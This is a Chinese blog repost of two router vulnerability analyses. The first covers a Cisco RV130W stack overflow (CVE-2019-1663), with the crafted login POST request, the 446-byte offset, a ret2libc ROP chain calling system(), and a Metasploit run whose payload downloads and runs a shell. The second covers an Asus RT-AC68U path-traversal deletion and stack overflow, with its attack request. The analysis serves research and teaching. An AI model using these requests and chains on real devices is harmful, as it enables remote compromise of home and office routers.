物联网安全——案例:思科的多款低端路由器(RV110、RV130和RV225)堆栈缓冲区溢出漏洞,检测方式:IPS能够检测部分
CVE-2019-1663 Cisco 的多个低端设备的堆栈缓冲区溢出漏洞分析
2019年09月21日IoT安全
作者:0431实验室
公众号:吉林省信睿网络
0x01.漏洞概述
1.简介
CVE-2019-1663是一个影响Cisco的多个低端设备的堆栈缓冲区,由于管理界面没有对登录表单的pwd字段进行严格的过滤,底层在处理请求时,strcpy函数导致堆栈溢出,未经身份验证的远程攻击者可以在设备上执行任意代码
2.影响的版本:
Cisco RV110W <1.2.1.7
Cisco RV130/RV130W <1.0.3.45
Cisco RV215W <1.3.0.8
0x02.固件提取
这里我使用时Cisco RV130W 1.0.3.44进行测试的,binwalk对固件进行提取
可以看出文件系统是squashfs,并且是小端存储方式,得到一个类Linux目录
0x03.分析处理请求
使用 grep -r "http"来查找处理http请求的二进制文件
根据之前分析的多个嵌入式设备的经验,猜测这个可能就是处理http请求的底层文件
0x04.漏洞分析
对Web登录界面的login.cgi发送如下的POST请求
POST /login.cgi HTTP/1.1
Host: 10.10.10.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.10.10.2/
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Connection: close
Upgrade-Insecure-Requests: 1
submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sel_lang=EN
这里向pwd发送32字节的值,对登录界面的http处理请求在IDA中的是sub_2C614(),地址是0x0002C614
函数将POST请求的参数进行解析,存储到.bss段
然后,将pwd参数的值从.bss段中提取,调用strcpy将值存到动态分配的内存中
对于strcpy我们都很熟悉,它存在的安全问题也十分严峻,并且由于没有开启PIE / ASLR,所以可以随意的进行溢出操作
这里使用gdb进行远程调试,确定能够发生溢出的字节数,首先设置cisco,作为gdb调试的服务端,gdbserver配置
# wget http://10.10.10.1:8000/gdbserver //从本机下载到qemu模拟的cisco环境中
#chmod 777 ./gdbserver //给权限
# ps -w | grep httpd //查找httpd开启的进程号
2451 0 5472 S ./usr/sbin/httpd
2454 0 1196 S grep httpd
# ./gdbserver :1234 --attach 2451 //这里的1234是开启监听的端口号,--attach添加的是httpd的进程号
Attached; pid = 2451
Listening on port 1234
//然后成功监听
编译arm-gdb-linux
tar xvf gdb-7.8.1.tar.gz
cd gdb-7.8.1
mkdir arm-gdb
sudo chmod 777 arm-gdb
sudo apt-get install texinfo
./configure --target=arm-linux --prefix=/home/clb/1tools/gdb-7.8.1/arm-gdb
make && make install
然后在arm-gdb下的bin目录中就有用于调试的arm-linux-gdb,配置调试选项
./arm-linux-gdb
gef> set architecture arm //确定要调试的是arm架构
gef> set follow-fork-mode child //确定调试的进程
gef> set solib-search-path /home/clb/1iot/firmware/cisco/_RV130.bin.extracted/squashfs-root/lib/ //加载要用到的lib文件
gef> file /home/clb/1iot/firmware/cisco/_RV130.bin.extracted/squashfs-root/usr/sbin/httpd //加载调试文件
gef> target remote 10.10.10.2:1234 //与远程建立连接
已经建立调试连接,可以进行调试了
查找溢出的位置,使用pattern生成512个字符串
gef➤ patter create 512
[+] Generating a pattern of 512 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
[+] Saved as '$_gef0'
通过curl发送POST请求查找溢出的位置
gef➤ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x616d6560 in ?? ()
通过pattern确定溢出的大小
gef➤ pattern search 0x616d6561
[+] Searching '0x616d6561'
[+] Found at offset 446 (little-endian search) likely
我们可以确定要进行填充的字符串是有446个字节
这里使用Ret2Libc进行利用。ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个),libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell。这里我们使用vmmap查看调用的lib文件有哪些
注:由于是在模拟器中查找的lib文件的起始地址,所以和在真机中的地址可能不太一样
这里我们选择具有执行权限的libc.so.0文件,使用radare2对libc.so.0文件进行搜索system函数
这里的system函数的地址是偏移地址,偏移地址加上vmmap得到的起始地址就是,我们通过下断点得到system函数的地址,然后通过计算可以发现地址完全正确
这时我们已经知道了一些关键的地址,那么这个时候我们就需要构造一个 ROP链,来实现地址的跳转
这里使用了一款工具Ropper,因为我们存储的位置位于堆栈,所以查找跟堆栈有关的指针SP
这里我选择了0x00041308的指令,因为这里有一个关于指令跳转的指令BLX,如果r2存的值是system的地址,那么我们就能跳到system处,执行系统命令了,并且由于我们的值都存在栈中,所以我们就需要查找和pop,r2有关的指令
在ARM指令集下我们发现两个对r2的操作,但是后面还跟着别的指令,如果我们使用了某一个,那么我们还得继续寻找能够完整构造payload的指令。由于ARM除了有ARM指令外,还有一个Thumb指令集,这个指令是ARM指令集的一个子集,但是在某些方面比ARM指令集要更有效,我们切换指令集去这里看看符合我们要求的指令
这里我们找到了没有其他指令参与并且堆栈操作十分符合我们要求的指令,下面就是我们构造的堆栈的排列方式
首先排布的是target1,这条指令就是对栈就行弹出的操作,首先将system的地址弹出到r2,然后后面无用的地址弹出到r6,最后将target2的地址弹出到r15中,并且r15中存储的还是正在取指的地址。紧接着执行r15所指向的地址,首先将sp的地址存储到r0中,然后执行blx跳转指令并且切换指令集,并且跳转到r2的地址,也就是system的地址,那么这时候就成功执行system函数,到此整个ROP链也就执行完毕
0x05.漏洞利用
这里我们利用的是exploit-db上的exp
设置rhosts,lhosts和target,然后直接exploit,就能直接获得shell权限,这
里我在vps上执行的
成功执行ifconfig命令
0x06.EXP脚本分析
这里存储就是偏移地址,libc_base的地址,system的偏移地址,gadget1的偏移地址,gadget2的偏移地址,这些地址就是真机中真正的偏移地址
这里就是根据不同的target生成不同的payload
这里就是我们对Msf生成的payload进行输出,可以看到被攻击的设备下载了可以在ARM平台进行回来的文件,并给与权限并执行,最终创建一个shell
0x07.参考
1.https://github.com/hugsy/gdb-static/
3.https://github.com/sashs/Ropper
Asuswrt RT-AC68U 华硕路由器文件删除漏洞 && 栈溢出
周末公司举办了技术团建,对路由器挺感兴趣的,挖到一枚漏洞,感谢杨博士的指导。已申请为CVE-2018-6636
软广一波~233333,想加入chaitin可以邮件联系我
void del_upload_icon(char *value) {
char *buf, *g, *p;
char filename[32];
memset(filename, 0, 32);
g = buf = strdup(value);
while (buf) {
if ((p = strsep(&g, ">")) == NULL) break;
if(strcmp(p, "")) {
sprintf(filename, "/jffs/usericon/%s.log", p);
//Delete exist file
if(check_if_file_exist(filename)) {
unlink(filename);
}
}
}
free(buf);
}
发现有一个unlink,在这个函数里面未有一些过滤,查看函数的调用
static int validate_apply(webs_t wp, json_object *root) {
...省略
else if(!strcmp(name, "custom_usericon_del")) {
(void)del_upload_icon(value);
nvram_set(name, "");
nvram_modified = 1;
}
...省略
}
发现对用户的图片进行删除的时候回调用del_upload_icon函数,对validate_apply函数的调用进行查看
apply_cgi(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t *query)
{
省略...
if (!strcmp(action_mode, "apply")) {
if (!validate_apply(wp,root)) {
websWrite(wp, "NOT MODIFIED\n");
}
else {
websWrite(wp, "MODIFIED\n");
}
action_para = get_cgi_json("rc_service",root);
if(action_para && strlen(action_para) > 0) {
notify_rc(action_para);
}
websWrite(wp, "RUN SERVICE\n");
}
省略...
}
可以看到apply_cgi最后是进行了调用
漏洞复现
此漏洞是/jffs/usericon/%s.log
,其中%s可控,而且整个过程并未有一些检测操作,所以可以造成跨目录删除log文件
HTTP包(需要用户登录)
POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.1
Content-Length: 191
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://192.168.1.1/start_apply2.htm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: traffic_warning_0=2018.1:1; wireless_list_9C:5C:8E:8B:D5:B0_temp=<40:C6:2A:8D:3C:06>Yes<00:28:F8:CE:48:98>Yes<DC:A9:04:82:D7:32>Yes<8C:85:90:35:83:BA>Yes<94:65:2D:A0:91:D8>Yes<AC:BC:32:90:2C:AF>Yes<BC:54:36:07:30:71>Yes; demo=1; nwmapRefreshTime=1517641501975; maxBandwidth=100; hwaddr=9C:5C:8E:8B:D5:B0; apps_last=; clock_type=1; bw_rtab=WIRED; clickedItem_tab=0; asus_token=a4coFDlYKDcnGnuNTBf8qyMGVj1457U
Connection: close
current_page=index.asp&next_page=index.asp&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=&custom_usericon=&custom_usericon_del=../../tmp/l3m0ntest
栈溢出
回过头来看del_upload_icon函数,其实漏洞较简单,但是平时挖洞都是web思维。
void del_upload_icon(char *value) {
char *buf, *g, *p;
char filename[32];
memset(filename, 0, 32);
g = buf = strdup(value);
while (buf) {
if ((p = strsep(&g, ">")) == NULL) break;
if(strcmp(p, "")) {
sprintf(filename, "/jffs/usericon/%s.log", p);
//Delete exist file
if(check_if_file_exist(filename)) {
unlink(filename);
}
}
}
free(buf);
}
可以看到filename设置的大小为32,p期间并没有做任何的长度校验,发送超长字符,进入sprintf的时候会导致栈溢出
发现httpd服务crash,然后接着就重启.
gdb server远程调试
记录一下一些调试
https://github.com/mzpqnxow/embedded-toolkit
找一个编译好的gdbserver,自己编译出了太多问题了
然后本地再编译一下gdb,注意需要交叉编译
./configure --target=arm-linux --prefix=$PWD/installed -v
make
make install
期间make出现报错: no termcap library found
wget http://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz
./configure && make && make install
cp termcap.h /usr/include/ && cp libtermcap.a /usr/lib/
gdbserver:
gdbserver IP:PORT --attach PID
gdbserver 192.168.50.1:23333 --attach 3840
gdb:
target remote 192.168.50.1:23333
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2021-12-01 IPv6渗透测试工具
2021-12-01 IPv6 渗透测试——工具汇总(持续更新)
2020-12-01 业界关联分析引擎——奇安信基于flink改造的Sabre,AbutionGraph 将事件聚合存储用于关联分析
2019-12-01 动态规划算法模板和demo
2017-12-01 dns tunnel C&C
2016-12-01 linux tcpdump 抓包
2016-12-01 Asterisk——part 1